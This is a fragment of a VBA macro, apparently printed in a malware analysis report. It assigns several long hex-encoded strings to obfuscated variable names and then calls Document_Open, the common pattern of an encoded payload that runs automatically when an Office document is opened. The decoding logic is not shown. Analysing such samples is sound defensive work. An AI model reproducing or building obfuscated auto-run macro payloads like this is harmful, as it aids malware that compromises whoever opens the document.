GQL_X = "C134C4C4C4C4C264C4C654C4C334C4C4C4C6B754C4C4C4C1A37894A4C4C2A4C496B4C4C2023824C4C4C4C4C1E4C4D664C354C4C144A42194C77774C4C4F4C464C224C4C4C4C4C314C4C4F494C4C0D834C644C4C4C164C504C424C434C6F4C4C50444C7B4C4C4C794C1C4C3A4C4C4C3F4C644C4C7C4C4C4883734C614C4C4C4C4C4C394C58784C1B46544C3523186B4C10"
Dim N_Z As String
N_Z = "2E174C184C694C4C4C4C334C4C824C4C524C874A4C184C424C4C206C676B694C4C4C4C4C413E43604C8B8C744C4C45853125584C4C2B4C854C4C2A7C4C384C3F494C4C6526271E88514C144C1F4C4C664C4C42521E1A4C7D4C183A77204C4C4C59374C4C6C16134C514C2472734C4C524C4C4C2E3C4C834C1A4C748A3B5B4C81254C4C4C384B4D4C4C654C4C6A4C5C3F1"
Dim YL_RGW As String
YL_RGW = "64C41384C4C33395E296D754C4C4C4C394C144C364C504C734C2A80754C242558324C4C4C4C314C4C421C4C4C0E344C4C123E4C544C4C4C4C574C13164C4C555D874C4B4C124C4C7F4C4C7115714C4C706B574C524C4C5D1F2A4C21594C4C4C4C4C5D4C4C4C3B4C4C4C4B4C4E3D4D874C4C3A4C8B4C6E4C494C7E4C4C434C4C524A0E704C294C4C665F331B4C4C1E2B4C"
Dim XRP_A As String
XRP_A = "634C164C2C4C4C57484C4C2051144C4C5F4C494C2F884C4C1467234C4C4C4C4C4C43842A324C8825837C1B4C225876594C4C4C374C4C4C4C25567C4C4C17268770344C57414C8517117E81164C1C4C674C4C4C7C4A128B4C49195D19824C714C684C304C0F671A3F4C4C4C531F4C34474C564C572717322E15664C4C5E784C461A8C4C4B4C4C644C4C4C4C3C444C714C2"
Dim ENZ_DEM As String
ENZ_DEM = "356382C264C5D4C0F4C6F524C52114C464C374C5C4C4C134C5A5A4C4C4C884C4C482F76274C6A4C4C4C4F794C844C4C4C58474C4C5D47254C4C0F181D16394C6F4C304C4C534C4C4373174E4C396D4C4C6D4C3D674C814C3B0E7F25684C4C4C81175460121B4C6B7A4C6D524C61613939374C434C808A3E5F794C4C4C7D4C4C324C5C2E264C4C5E284C4C2A204C424C2A"
Dim RX_UED As String
RX_UED = "4C3C88354C4C0E4C230E4C4C4C4C444C2D46113F1F4C5B6B28374C6C2A4C434C4C4E217284465A4C104C4F4C43554C4C4D784C4C4C4C3A4C68873A4C476F4C3B4C4C307A4C4C4C4C1C35194C4C4C864C6847384C1C4C4C4C4C4C7418524C17144C404C4C4C4C4C5A4C692E3C4C874C274C354C714C0D494C4C2F4C42114C394C4C47714C184C4A478A526C4C7943704C4C734C894C22404C0D4C4C19244C874C4C4C4C8B4C1C524C604C594C82724C4C4C4C2089812046323E3B174C703B734C4C4C4C72307D4C4C2D4C354C4C1E4C7A27234C4C4C4C4C4C275A4C124C4C328C4C4C4C354C4C4C3F684C4C89694C297B3C55244C4C4C5D4F4C15304C4C8551104A4C4C7911518C4C4C8C4C4C284C4C4C4C854C1A4C4C4C6162674C6E4C"

    Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.